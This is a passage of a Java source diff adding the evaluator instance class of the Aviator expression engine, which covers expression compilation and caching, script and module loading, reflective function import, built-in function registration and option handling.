+import java.io.Reader;
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import java.net.URL;
+import java.nio.charset.Charset;
+import java.security.AccessController;
+import java.security.PrivilegedAction;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.IdentityHashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.FutureTask;
+import com.googlecode.aviator.Options.Value;
+import com.googlecode.aviator.annotation.Function;
+import com.googlecode.aviator.annotation.Ignore;
+import com.googlecode.aviator.annotation.Import;
+import com.googlecode.aviator.annotation.ImportScope;
+import com.googlecode.aviator.asm.Opcodes;
+import com.googlecode.aviator.code.CodeGenerator;
+import com.googlecode.aviator.code.OptimizeCodeGenerator;
+import com.googlecode.aviator.code.asm.ASMCodeGenerator;
+import com.googlecode.aviator.exception.CompileExpressionErrorException;
+import com.googlecode.aviator.exception.ExpressionNotFoundException;
+import com.googlecode.aviator.exception.ExpressionSyntaxErrorException;
+import com.googlecode.aviator.lexer.ExpressionLexer;
+import com.googlecode.aviator.lexer.SymbolTable;
+import com.googlecode.aviator.lexer.token.OperatorType;
+import com.googlecode.aviator.parser.AviatorClassLoader;
+import com.googlecode.aviator.parser.ExpressionParser;
+import com.googlecode.aviator.runtime.function.ClassMethodFunction;
+import com.googlecode.aviator.runtime.function.internal.IfCallccFunction;
+import com.googlecode.aviator.runtime.function.internal.ReducerBreakFunction;
+import com.googlecode.aviator.runtime.function.internal.ReducerContFunction;
+import com.googlecode.aviator.runtime.function.internal.ReducerFunction;
+import com.googlecode.aviator.runtime.function.internal.ReducerReturnFunction;
+import com.googlecode.aviator.runtime.function.math.MathAbsFunction;
+import com.googlecode.aviator.runtime.function.math.MathCosFunction;
+import com.googlecode.aviator.runtime.function.math.MathLog10Function;
+import com.googlecode.aviator.runtime.function.math.MathLogFunction;
+import com.googlecode.aviator.runtime.function.math.MathPowFunction;
+import com.googlecode.aviator.runtime.function.math.MathRoundFunction;
+import com.googlecode.aviator.runtime.function.math.MathSinFunction;
+import com.googlecode.aviator.runtime.function.math.MathSqrtFunction;
+import com.googlecode.aviator.runtime.function.math.MathTanFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqAddFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqArrayFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqCompsitePredFunFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqCompsitePredFunFunction.LogicOp;
+import com.googlecode.aviator.runtime.function.seq.SeqContainsKeyFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqCountFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqEveryFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqFilterFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqGetFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqIncludeFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqIntoFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqMakePredicateFunFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqMapEntryFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqMapFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqMaxFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqMinFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqNewArrayFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqNewListFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqNewMapFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqNewSetFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqNotAnyFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqPutFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqReduceFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqRemoveFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqSomeFunction;
+import com.googlecode.aviator.runtime.function.seq.SeqSortFunction;
+import com.googlecode.aviator.runtime.function.string.StringContainsFunction;
+import com.googlecode.aviator.runtime.function.string.StringEndsWithFunction;
+import com.googlecode.aviator.runtime.function.string.StringIndexOfFunction;
+import com.googlecode.aviator.runtime.function.string.StringJoinFunction;
+import com.googlecode.aviator.runtime.function.string.StringLengthFunction;
+import com.googlecode.aviator.runtime.function.string.StringReplaceAllFunction;
+import com.googlecode.aviator.runtime.function.string.StringReplaceFirstFunction;
+import com.googlecode.aviator.runtime.function.string.StringSplitFunction;
+import com.googlecode.aviator.runtime.function.string.StringStartsWithFunction;
+import com.googlecode.aviator.runtime.function.string.StringSubStringFunction;
+import com.googlecode.aviator.runtime.function.system.AssertFunction;
+import com.googlecode.aviator.runtime.function.system.BinaryFunction;
+import com.googlecode.aviator.runtime.function.system.BooleanFunction;
+import com.googlecode.aviator.runtime.function.system.CompareFunction;
+import com.googlecode.aviator.runtime.function.system.Date2StringFunction;
+import com.googlecode.aviator.runtime.function.system.DoubleFunction;
+import com.googlecode.aviator.runtime.function.system.IdentityFunction;
+import com.googlecode.aviator.runtime.function.system.IsDefFunction;
+import com.googlecode.aviator.runtime.function.system.LoadFunction;
+import com.googlecode.aviator.runtime.function.system.LongFunction;
+import com.googlecode.aviator.runtime.function.system.MaxFunction;
+import com.googlecode.aviator.runtime.function.system.MinFunction;
+import com.googlecode.aviator.runtime.function.system.NowFunction;
+import com.googlecode.aviator.runtime.function.system.PrintFunction;
+import com.googlecode.aviator.runtime.function.system.PrintlnFunction;
+import com.googlecode.aviator.runtime.function.system.RandomFunction;
+import com.googlecode.aviator.runtime.function.system.RangeFunction;
+import com.googlecode.aviator.runtime.function.system.RequireFunction;
+import com.googlecode.aviator.runtime.function.system.StrFunction;
+import com.googlecode.aviator.runtime.function.system.String2DateFunction;
+import com.googlecode.aviator.runtime.function.system.SysDateFunction;
+import com.googlecode.aviator.runtime.function.system.TupleFunction;
+import com.googlecode.aviator.runtime.function.system.TypeFunction;
+import com.googlecode.aviator.runtime.function.system.UndefFunction;
+import com.googlecode.aviator.runtime.module.IoModule;
+import com.googlecode.aviator.runtime.type.AviatorBoolean;
+import com.googlecode.aviator.runtime.type.AviatorFunction;
+import com.googlecode.aviator.runtime.type.AviatorNil;
+import com.googlecode.aviator.utils.Constants;
+import com.googlecode.aviator.utils.Env;
+import com.googlecode.aviator.utils.LRUMap;
+import com.googlecode.aviator.utils.Reflector;
+import com.googlecode.aviator.utils.Utils;
+
+
+/**
+ * A aviator evaluator instance
+ *
+ * @since 4.0.0
+ * @author dennis
+ *
+ */
+public final class AviatorEvaluatorInstance {
+
+  private volatile AviatorClassLoader aviatorClassLoader = initAviatorClassLoader();
+
+  private OutputStream traceOutputStream = System.out;
+
+  private FunctionMissing functionMissing;
+
+  /**
+   * Generated java class version,default 1.7
+   */
+  private int bytecodeVersion = Opcodes.V1_7;
+
+  /**
+   * Options
+   */
+  private volatile Map<Options, Value> options = new IdentityHashMap<Options, Value>();
+
+
+  /** function loader list */
+  private List<FunctionLoader> functionLoaders;
+
+
+  /**
+   * Adds a function loader
+   *
+   * @see FunctionLoader
+   * @since 4.0.0
+   * @param loader
+   */
+  public void addFunctionLoader(final FunctionLoader loader) {
+    if (this.functionLoaders == null) {
+      this.functionLoaders = new ArrayList<FunctionLoader>();
+    }
+    this.functionLoaders.add(loader);
+  }
+
+  /**
+   * Compile a script file into expression.
+   *
+   * @param file the script file path
+   * @param cached whether to cached the compiled result with key is script file's absolute path.
+   * @since 5.0.0
+   * @return the compiled expression instance.
+   */
+  public Expression compileScript(final String path, final boolean cached) throws IOException {
+    File file = tryFindScriptFile(path);
+    return compileScript(file.getAbsolutePath(), file, cached);
+  }
+
+  /**
+   * Compile a script into expression.
+   *
+   * @param cacheKey caching key when cached is true.
+   * @param file the script file
+   * @param cached whether to cache the expression instance by cacheKey.
+   * @return the compiled expression instance.
+   * @since 5.0.0
+   * @throws IOException
+   */
+  public Expression compileScript(final String cacheKey, final File file, final boolean cached)
+      throws IOException {
+    try (InputStream in = new FileInputStream(file);
+        Reader reader = new InputStreamReader(in, Charset.forName("utf-8"));) {
+
+      return compile(cacheKey, Utils.readFully(reader), cached);
+    }
+  }
+
+  private File tryFindScriptFile(final String path) throws IOException {
+    // 1. absolute path
+    File file = new File(path);
+    if (file.exists()) {
+      return file;
+    }
+    // 2. from context classloader
+    ClassLoader contextLoader = Thread.currentThread().getContextClassLoader();
+    file = tryFindFileFromClassLoader(path, contextLoader);
+    if (file != null) {
+      return file;
+    }
+    // 3. from current class loader
+    contextLoader = getClass().getClassLoader();
+    file = tryFindFileFromClassLoader(path, contextLoader);
+    if (file != null) {
+      return file;
+    }
+    throw new FileNotFoundException("File not found: " + path);
+  }
+
+  /**
+   * Set a custom aviator class loader
+   *
+   * @since 5.0.0
+   * @param aviatorClassLoader
+   */
+  public void setAviatorClassLoader(final AviatorClassLoader aviatorClassLoader) {
+    this.aviatorClassLoader = aviatorClassLoader;
+  }
+
+  private File tryFindFileFromClassLoader(final String path, final ClassLoader contextLoader) {
+    URL url = contextLoader.getResource(path);
+    if (url != null) {
+      return new File(url.getPath());
+    }
+    if (!path.startsWith("/")) {
+      url = contextLoader.getResource("/" + path);
+    }
+    return null;
+  }
+
+  /**
+   * Loads a script from path and return it's exports.
+   *
+   * @param path
+   * @param args arguments to execute the script.
+   * @throws IOException
+   * @return the exports map.
+   * @since 5.0.0
+   */
+  public Map<String, Object> loadScript(final String path) throws IOException {
+    final File file = tryFindScriptFile(path);
+    final String abPath = file.getAbsolutePath();
+    return loadScript0(abPath);
+  }
+
+  @SuppressWarnings("unchecked")
+  private Map<String, Object> loadScript0(final String abPath) throws IOException {
+    Expression exp = this.compileScript(abPath);
+    final Env exports = new Env();
+    final Map<String, Object> module = exp.newEnv("exports", exports, "path", abPath);
+    Map<String, Object> env = exp.newEnv("__MODULE__", module, "exports", exports);
+    exp.execute(env);
+    exports.setInstance(this);
+    return (Map<String, Object>) module.get("exports");
+  }
+
+
+  /**
+   * Loads a script from path and return it's exports with module caching.
+   *
+   * @param path
+   * @param args arguments to execute the script.
+   * @throws IOException
+   * @return the exports map
+   * @since 5.0.0
+   */
+  public Map<String, Object> requireScript(final String path) throws IOException {
+    File file = tryFindScriptFile(path);
+    final String abPath = file.getAbsolutePath();
+    Map<String, Object> exports = (Env) this.moduleCache.get(abPath);
+    if (exports != null) {
+      return exports;
+    } else {
+      // TODO better lock
+      synchronized (abPath.intern()) {
+        exports = (Env) this.moduleCache.get(abPath);
+        if (exports != null) {
+          return exports;
+        }
+        exports = loadScript0(abPath);
+        this.moduleCache.put(abPath, exports);
+        return exports;
+      }
+    }
+  }
+
+  /**
+   * Adds a module class and import it's public static methods as module's exports into module
+   * cache, return the exports map.
+   *
+   * @param moduleClazz
+   * @return the exports map
+   * @since 5.0.0
+   */
+  public Env addModule(final Class<?> moduleClazz)
+      throws NoSuchMethodException, IllegalAccessException {
+    String namespace = moduleClazz.getSimpleName();
+
+    Import importAnt = moduleClazz.getAnnotation(Import.class);
+
+    if (importAnt != null) {
+      namespace = importAnt.ns();
+      if (namespace == null || namespace.isEmpty()
+          || !ExpressionParser.isJavaIdentifier(namespace)) {
+        throw new IllegalArgumentException("Invalid namespace in Import annotation: " + namespace);
+      }
+    }
+
+    Env exports = null;
+    synchronized (namespace.intern()) {
+      exports = (Env) this.moduleCache.get(namespace);
+      if (exports != null) {
+        return exports;
+      }
+      exports = loadModule(moduleClazz);
+      this.moduleCache.put(namespace, exports);
+      return exports;
+    }
+  }
+
+  private Env loadModule(final Class<?> moduleClazz)
+      throws IllegalAccessException, NoSuchMethodException {
+    Map<String, List<Method>> methodMap = findMethodsFromClass(true, moduleClazz);
+
+    if (methodMap == null || methodMap.isEmpty()) {
+      throw new IllegalArgumentException("Empty module");
+    }
+
+    Env exports = new Env();
+
+    for (Map.Entry<String, List<Method>> entry : methodMap.entrySet()) {
+      exports.put(entry.getKey(), new ClassMethodFunction(moduleClazz, true, entry.getKey(),
+          entry.getKey(), entry.getValue()));
+    }
+    exports.setInstance(this);
+    return exports;
+  }
+
+  public Map<String, Object> getModuleCache() {
+    return this.moduleCache;
+  }
+
+  /**
+   * Compile a script file into expression, it doesn't cache the compiled result.
+   *
+   * @param file the script file path
+   * @return
+   */
+  public Expression compileScript(final String path) throws IOException {
+    return this.compileScript(path, false);
+  }
+
+
+  /**
+   * Returns the function missing handler, null if not set.
+   *
+   * @since 4.2.5
+   * @return
+   */
+  public FunctionMissing getFunctionMissing() {
+    return this.functionMissing;
+  }
+
+
+  /**
+   * Configure a function missing handler.
+   *
+   * @since 4.2.5
+   * @param functionMissing
+   */
+  public void setFunctionMissing(final FunctionMissing functionMissing) {
+    if (this.functionMissing != null) {
+      throw new IllegalArgumentException("functionMissing already set:" + this.functionMissing);
+    }
+    this.functionMissing = functionMissing;
+  }
+
+
+
+  /**
+   * Adds all public instance methods in the class as custom functions into evaluator except those
+   * have {@link Ignore} annotation, all these functions will keep the same name as method name, but
+   * prefixed with namespace, the function name can be renamed by {@link Function} annotation. And
+   * the function will have more than one argument than the method, the function's first argument is
+   * always the instance object(this pointer).
+   *
+   * @since 4.2.3
+   * @see Ignore
+   * @see Function
+   * @param namespace the functions namespace
+   * @param clazz the class
+   * @return the added function list.
+   */
+  public List<String> addInstanceFunctions(final String namespace, final Class<?> clazz)
+      throws IllegalAccessException, NoSuchMethodException {
+    return addMethodFunctions(namespace, false, clazz);
+  }
+
+  private List<String> addMethodFunctions(final String namespace, final boolean isStatic,
+      final Class<?> clazz) throws IllegalAccessException, NoSuchMethodException {
+    Map<String, List<Method>> methodMap = findMethodsFromClass(isStatic, clazz);
+    List<String> added = new ArrayList<>();
+
+    for (Map.Entry<String, List<Method>> entry : methodMap.entrySet()) {
+      String methodName = entry.getKey();
+      String name = namespace + "." + methodName;
+      this.addFunction(
+          new ClassMethodFunction(clazz, isStatic, name, methodName, entry.getValue()));
+      added.add(name);
+    }
+    return added;
+  }
+
+  /**
+   * Adds all public static methods in the class as custom functions into evaluator except those
+   * have {@link Ignore} annotation, all these functions will keep the same name as method name, but
+   * prefixed with namespace, the function name can be renamed by {@link Function} annotation.
+   *
+   * @since 4.2.2
+   * @see Ignore
+   * @see Function
+   * @param namespace the functions namespace
+   * @param clazz the class
+   * @return the added function list.
+   */
+  public List<String> addStaticFunctions(final String namespace, final Class<?> clazz)
+      throws IllegalAccessException, NoSuchMethodException {
+
+    return addMethodFunctions(namespace, true, clazz);
+  }
+
+  /**
+   * Import the class public methods into aviator evaluator as custom functions. The function's
+   * namespace is the class name by default, and the scopes are both static and instance methods.
+   * The namespace and scope can be set by {@link Import} annotation.
+   *
+   * @since 4.2.2
+   * @see Import
+   * @param clazz the class
+   * @return the added function list.
+   * @throws NoSuchMethodException
+   * @throws IllegalAccessException
+   */
+  public List<String> importFunctions(final Class<?> clazz)
+      throws IllegalAccessException, NoSuchMethodException {
+
+    String namespace = clazz.getSimpleName();
+    ImportScope[] scopes = {ImportScope.Static, ImportScope.Instance};
+
+    Import importAnt = clazz.getAnnotation(Import.class);
+
+    if (importAnt != null) {
+      namespace = importAnt.ns();
+      if (namespace == null || namespace.isEmpty()
+          || !ExpressionParser.isJavaIdentifier(namespace)) {
+        throw new IllegalArgumentException("Invalid namespace in Import annotation: " + namespace);
+      }
+      scopes = importAnt.scopes();
+      if (scopes == null || scopes.length == 0) {
+        throw new IllegalArgumentException("Empty scopes in Import annotation");
+      }
+    }
+
+    List<String> result = new ArrayList<>();
+    for (ImportScope scope : scopes) {
+      switch (scope) {
+        case Static:
+          result.addAll(addStaticFunctions(namespace, clazz));
+          break;
+        case Instance:
+          result.addAll(addInstanceFunctions(namespace, clazz));
+          break;
+        default:
+          throw new IllegalStateException("Invalid import scope: " + scope);
+      }
+    }
+    return result;
+  }
+
+  private Map<String, List<Method>> findMethodsFromClass(final boolean isStatic,
+      final Class<?> clazz) {
+    Map<String, List<Method>> methodMap = new HashMap<>();
+
+    for (Method method : clazz.getMethods()) {
+      int modifiers = method.getModifiers();
+      if (Modifier.isPublic(modifiers)) {
+        if (isStatic) {
+          if (!Modifier.isStatic(modifiers)) {
+            continue;
+          }
+        } else {
+          if (Modifier.isStatic(modifiers)) {
+            continue;
+          }
+        }
+
+        if (method.getAnnotation(Ignore.class) != null) {
+          continue;
+        }
+
+
+        String methodName = method.getName();
+        Function func = method.getAnnotation(Function.class);
+        if (func != null) {
+          String rename = func.rename();
+          if (!rename.isEmpty()) {
+            if (!ExpressionParser.isJavaIdentifier(rename)) {
+              throw new IllegalArgumentException("Invalid rename `" + rename + "` for method "
+                  + method.getName() + " in class " + clazz);
+            }
+            methodName = func.rename();
+          }
+        }
+
+        List<Method> methods = methodMap.get(methodName);
+        if (methods == null) {
+          methods = new ArrayList<>(3);
+          methodMap.put(methodName, methods);
+        }
+        methods.add(method);
+      }
+    }
+
+    return methodMap;
+  }
+
+  /**
+   * Remove a function loader
+   *
+   * @since 4.0.0
+   * @param loader
+   */
+  public void removeFunctionLoader(final FunctionLoader loader) {
+    if (this.functionLoaders == null) {
+      return;
+    }
+    this.functionLoaders.remove(loader);
+  }
+
+  /**
+   * Adds a evaluator option
+   *
+   * @since 2.3.4
+   * @see Options
+   * @param opt
+   * @param val
+   */
+  public void setOption(final Options opt, final Object val) {
+    if (opt == null || val == null) {
+      throw new IllegalArgumentException("Option and value should not be null.");
+    }
+    if (!opt.isValidValue(val)) {
+      throw new IllegalArgumentException("Invalid value for option:" + opt.name());
+    }
+    Map<Options, Value> newOpts = new IdentityHashMap<>(this.options);
+    newOpts.put(opt, opt.intoValue(val));
+    this.options = newOpts;
+
+    if (opt == Options.ENABLE_REQUIRE_LOAD_SCRIPTS) {
+      if (getOptionValue(opt).bool) {
+        addLoadAndRequireFunction();
+      } else {
+        removeLoadAndRequireFunction();
+      }
+    }
+  }
+
+  private void removeLoadAndRequireFunction() {
+    this.removeFunction(Constants.LOAD_FN);
+    this.removeFunction(Constants.REQUIRE_FN);
+  }
+
+
+  /**
+   * Returns the current evaluator option value, returns null if missing.
+   *
+   * @param opt
+   * @return
+   */
+  @Deprecated
+  @SuppressWarnings("unchecked")
+  public <T> T getOption(final Options opt) {
+    Value val = this.options.get(opt);
+    if (val == null) {
+      val = opt.getDefaultValueObject();
+    }
+
+    return (T) opt.intoObject(val);
+  }
+
+  /**
+   * Returns the current evaluator option value union, returns null if missing.
+   *
+   * @param opt
+   * @return the option value, null if missing.
+   */
+  public Value getOptionValue(final Options opt) {
+    Value val = this.options.get(opt);
+    assert (val != null);
+    return val;
+  }
+
+
+  /**
+   * Returns the generated java classes byte code version, 1.6 by defualt.
+   *
+   * @return the bytecode version.
+   */
+  public int getBytecodeVersion() {
+    return this.bytecodeVersion;
+  }
+
+
+  /**
+   * Set the generated java classes java byte code version.
+   *
+   * @see Opcodes#V1_6
+   * @param bytecodeVersion
+   */
+  public void setBytecodeVersion(final int bytecodeVersion) {
+    this.bytecodeVersion = bytecodeVersion;
+  }
+
+
+  /**
+   * Get the evaluator instance options
+   *
+   * @return
+   */
+  public Map<Options, Object> getOptions() {
+    Map<Options, Object> ret = new HashMap<>();
+    for (Map.Entry<Options, Value> entry : this.options.entrySet()) {
+      ret.put(entry.getKey(), entry.getKey().intoObject(entry.getValue()));
+    }
+    return ret;
+  }
+
+
+  /**
+   * Returns the functions map
+   *
+   * @return
+   */
+  public Map<String, Object> getFuncMap() {
+    return this.funcMap;
+  }
+
+
+  /**
+   * Returns the operators map.
+   *
+   * @return
+   */
+  public Map<OperatorType, AviatorFunction> getOpsMap() {
+    return this.opsMap;
+  }
+
+
+  /**
+   * Get current trace output stream,default is System.out
+   *
+   * @return
+   */
+  public OutputStream getTraceOutputStream() {
+    return this.traceOutputStream;
+  }
+
+
+  /**
+   * Set trace output stream
+   *
+   * @param traceOutputStream
+   */
+  public void setTraceOutputStream(final OutputStream traceOutputStream) {
+    this.traceOutputStream = traceOutputStream;
+  }
+
+  private AviatorClassLoader initAviatorClassLoader() {
+    return AccessController.doPrivileged(new PrivilegedAction<AviatorClassLoader>() {
+
+      @Override
+      public AviatorClassLoader run() {
+        return new AviatorClassLoader(AviatorEvaluatorInstance.class.getClassLoader());
+      }
+
+    });
+  }
+
+  private final Map<String, Object> funcMap = new HashMap<String, Object>();
+
+  private final ConcurrentHashMap<String/* namespace */, Object /* exports */> moduleCache =
+      new ConcurrentHashMap<>();
+
+  private final Map<OperatorType, AviatorFunction> opsMap =
+      new IdentityHashMap<OperatorType, AviatorFunction>();
+
+  private void loadModule() {
+    try {
+      addModule(IoModule.class);
+    } catch (Exception e) {
+      System.err.println("Fail to load internal modules.");
+      System.exit(1);
+    }
+  }
+
+
+  private void loadLib() {
+    // Load internal functions
+    // load sys lib
+    addFunction(new CompareFunction());
+    addFunction(new SysDateFunction());
+    addFunction(new PrintlnFunction());
+    addFunction(new PrintFunction());
+    addFunction(new RandomFunction());
+    addFunction(new NowFunction());
+    addFunction(new LongFunction());
+    addFunction(new BooleanFunction());
+    addFunction(new DoubleFunction());
+    addFunction(new StrFunction());
+    addFunction(new Date2StringFunction());
+    addFunction(new String2DateFunction());
+    addFunction(new BinaryFunction(OperatorType.ADD));
+    addFunction(new BinaryFunction(OperatorType.SUB));
+    addFunction(new BinaryFunction(OperatorType.MULT));
+    addFunction(new BinaryFunction(OperatorType.DIV));
+    addFunction(new BinaryFunction(OperatorType.MOD));
+    addFunction(new BinaryFunction(OperatorType.NEG));
+    addFunction(new BinaryFunction(OperatorType.NOT));
+    addFunction(new BinaryFunction(OperatorType.BIT_AND));
+    addFunction(new BinaryFunction(OperatorType.BIT_OR));
+    addFunction(new BinaryFunction(OperatorType.BIT_XOR));
+    addFunction(new BinaryFunction(OperatorType.BIT_NOT));
+    addFunction(new TupleFunction());
+    addFunction(new MinFunction());
+    addFunction(new MaxFunction());
+    addFunction(new IdentityFunction());
+    addFunction(new AssertFunction());
+    addFunction(new RangeFunction());
+    addFunction(new IsDefFunction());
+    addFunction(new UndefFunction());
+    addFunction(new TypeFunction());
+
+    // for-loop and if statement supporting
+    addFunction(new ReducerFunction());
+    addFunction(new ReducerReturnFunction());
+    addFunction(new ReducerContFunction());
+    addFunction(new ReducerBreakFunction());
+    addFunction(new IfCallccFunction());
+
+    // load string lib
+    addFunction(new StringContainsFunction());
+    addFunction(new StringIndexOfFunction());
+    addFunction(new StringStartsWithFunction());
+    addFunction(new StringEndsWithFunction());
+    addFunction(new StringSubStringFunction());
+    addFunction(new StringLengthFunction());
+    addFunction(new StringSplitFunction());
+    addFunction(new StringJoinFunction());
+    addFunction(new StringReplaceFirstFunction());
+    addFunction(new StringReplaceAllFunction());
+
+    // load math lib
+    addFunction(new MathAbsFunction());
+    addFunction(new MathRoundFunction());
+    addFunction(new MathPowFunction());
+    addFunction(new MathSqrtFunction());
+    addFunction(new MathLog10Function());
+    addFunction(new MathLogFunction());
+    addFunction(new MathSinFunction());
+    addFunction(new MathCosFunction());
+    addFunction(new MathTanFunction());
+
+    // seq lib
+    addFunction(new SeqNewArrayFunction());
+    addFunction(new SeqArrayFunction());
+    addFunction(new SeqNewListFunction());
+    addFunction(new SeqNewMapFunction());
+    addFunction(new SeqNewSetFunction());
+    addFunction(new SeqMapEntryFunction());
+    addFunction(new SeqIntoFunction());
+    addFunction(new SeqAddFunction());
+    addFunction(new SeqRemoveFunction());
+    addFunction(new SeqGetFunction());
+    addFunction(new SeqPutFunction());
+    addFunction(new SeqMinFunction());
+    addFunction(new SeqMaxFunction());
+    addFunction(new SeqMapFunction());
+    addFunction(new SeqReduceFunction());
+    addFunction(new SeqFilterFunction());
+    addFunction(new SeqSortFunction());
+    addFunction(new SeqIncludeFunction());
+    addFunction(new SeqContainsKeyFunction());
+    addFunction(new SeqCountFunction());
+    addFunction(new SeqEveryFunction());
+    addFunction(new SeqNotAnyFunction());
+    addFunction(new SeqSomeFunction());
+    addFunction(new SeqMakePredicateFunFunction("seq.eq", OperatorType.EQ));
+    addFunction(new SeqMakePredicateFunFunction("seq.neq", OperatorType.NEQ));
+    addFunction(new SeqMakePredicateFunFunction("seq.lt", OperatorType.LT));
+    addFunction(new SeqMakePredicateFunFunction("seq.le", OperatorType.LE));
+    addFunction(new SeqMakePredicateFunFunction("seq.gt", OperatorType.GT));
+    addFunction(new SeqMakePredicateFunFunction("seq.ge", OperatorType.GE));
+    addFunction(new SeqCompsitePredFunFunction("seq.and", LogicOp.AND));
+    addFunction(new SeqCompsitePredFunFunction("seq.or", LogicOp.OR));
+    addFunction(new SeqMakePredicateFunFunction("seq.true", OperatorType.EQ, AviatorBoolean.TRUE));
+    addFunction(
+        new SeqMakePredicateFunFunction("seq.false", OperatorType.EQ, AviatorBoolean.FALSE));
+    addFunction(new SeqMakePredicateFunFunction("seq.nil", OperatorType.EQ, AviatorNil.NIL));
+    addFunction(new SeqMakePredicateFunFunction("seq.exists", OperatorType.NEQ, AviatorNil.NIL));
+  }
+
+  private void addLoadAndRequireFunction() {
+    // load and require
+    addFunction(new RequireFunction());
+    addFunction(new LoadFunction());
+  }
+
+  /**
+   * Compiled Expression cache
+   */
+  private final ConcurrentHashMap<String/* text expression */, FutureTask<Expression>/*
+                                                                                      * Compiled
+                                                                                      * expression
+                                                                                      * task
+                                                                                      */> expressionCache =
+      new ConcurrentHashMap<String, FutureTask<Expression>>();
+
+  private LRUMap<String, FutureTask<Expression>> expressionLRUCache;
+
+
+
+  /**
+   * Create a aviator evaluator instance.
+   */
+  AviatorEvaluatorInstance() {
+    loadLib();
+    loadModule();
+    addFunctionLoader(ClassPathConfigFunctionLoader.getInstance());
+    for (Options opt : Options.values()) {
+      this.options.put(opt, opt.getDefaultValueObject());
+    }
+  }
+
+  /**
+   * Use {@link LRUMap} as expression caching.It should be called when initializing the evaluator
+   * instance.
+   *
+   * @since 5.0.0
+   * @param capacity
+   * @return the evaluator instance itself.
+   */
+  public AviatorEvaluatorInstance useLRUExpressionCache(final int capacity) {
+    this.expressionLRUCache = new LRUMap<>(capacity);
+    return this;
+  }
+
+
+  /**
+   * Clear all cached compiled expression
+   */
+  public void clearExpressionCache() {
+    resetClassLoader();
+    if (this.expressionLRUCache != null) {
+      synchronized (this.expressionLRUCache) {
+        this.expressionLRUCache.clear();
+      }
+    } else {
+      this.expressionCache.clear();
+    }
+  }
+
+  /**
+   * Reset the classloader to a new instance.
+   *
+   * @since 5.0.0
+   */
+  public void resetClassLoader() {
+    this.aviatorClassLoader = initAviatorClassLoader();
+  }
+
+
+  /**
+   * Returns classloader
+   *
+   * @return
+   */
+  public AviatorClassLoader getAviatorClassLoader() {
+    return getAviatorClassLoader(false);
+  }
+
+
+  /**
+   * Returns classloader
+   *
+   * @return
+   */
+  public AviatorClassLoader getAviatorClassLoader(final boolean cached) {
+    if (cached) {
+      return this.aviatorClassLoader;
+    } else {
+      return new AviatorClassLoader(Thread.currentThread().getContextClassLoader());
+    }
+  }
+
+
+  /**
+   * Add an aviator function,it's not thread-safe.
+   *
+   * @param function
+   */
+  public void addFunction(final AviatorFunction function) {
+    final String name = function.getName();
+    addFunction(name, function);
+  }
+
+  /**
+   * Adds a function with the name
+   *
+   * @param name
+   * @param function
+   */
+  public void addFunction(final String name, final AviatorFunction function) {
+    if ("lambda".equals(name)) {
+      throw new IllegalArgumentException("Invalid function name, lambda is a keyword.");
+    }
+    if (this.funcMap.containsKey(name)) {
+      System.out.println("[Aviator WARN] The function '" + name
+          + "' is already exists, but is replaced with new one.");
+    }
+    this.funcMap.put(name, function);
+  }
+
+  /**
+   * Define a function by name and expression.
+   *
+   * @param name the function name
+   * @param expression the expression to be executed and it's result must be a function.
+   * @since 4.0.0
+   */
+  public void defineFunction(final String name, final String expression) {
+    this.defineFunction(name, expression, null);
+  }
+
+  /**
+   * Define a function by name and expression with the execution env.
+   *
+   * @param name the function name
+   * @param expression the expression to be executed and it's result must be a function.
+   * @param env the expression execution env
+   * @since 4.0.0
+   */
+  public void defineFunction(final String name, final String expression,
+      final Map<String, Object> env) {
+    AviatorFunction function = (AviatorFunction) this.execute(expression, env);
+    this.addFunction(name, function);
+  }
+
+
+  /**
+   * Remove an aviator function by name,it's not thread-safe.
+   *
+   * @param name
+   * @return
+   */
+  public AviatorFunction removeFunction(final String name) {
+    return (AviatorFunction) this.funcMap.remove(name);
+  }
+
+  /**
+   * @see #getFunction(String, SymbolTable)
+   * @param name
+   * @return
+   */
+  public AviatorFunction getFunction(final String name) {
+    return this.getFunction(name, null);
+  }
+
+  /**
+   * Retrieve an aviator function by name,throw exception if not found or null.It's not thread-safe.
+   *
+   * @param name
+   * @param symbolTablee
+   * @return
+   */
+  public AviatorFunction getFunction(final String name, final SymbolTable symbolTable) {
+    AviatorFunction function = (AviatorFunction) this.funcMap.get(name);
+    if (function == null && this.functionLoaders != null) {
+      for (FunctionLoader loader : this.functionLoaders) {
+        if (loader != null) {
+          function = loader.onFunctionNotFound(name);
+        }
+        if (function != null) {
+          break;
+        }
+      }
+    }
+    if (function == null) {
+      // Returns a delegate function that will try to find the function from runtime env.
+      function = new RuntimeFunctionDelegator(name, symbolTable, this.functionMissing);
+    }
+    return function;
+  }
+
+  /**
+   * Add an operator aviator function,it's not thread-safe.
+   *
+   * @param function
+   */
+  public void addOpFunction(final OperatorType opType, final AviatorFunction function) {
+    this.opsMap.put(opType, function);
+  }
+
+
+  /**
+   * Retrieve an operator aviator function by op type, return null if not found.It's not
+   * thread-safe.
+   *
+   * @since 3.3
+   * @param opType
+   * @return
+   */
+  public AviatorFunction getOpFunction(final OperatorType opType) {
+    return this.opsMap.get(opType);
+  }
+
+  /**
+   * Remove an operator aviator function by op type, it's not thread-safe.
+   *
+   * @since 3.3
+   * @param opType
+   * @return
+   */
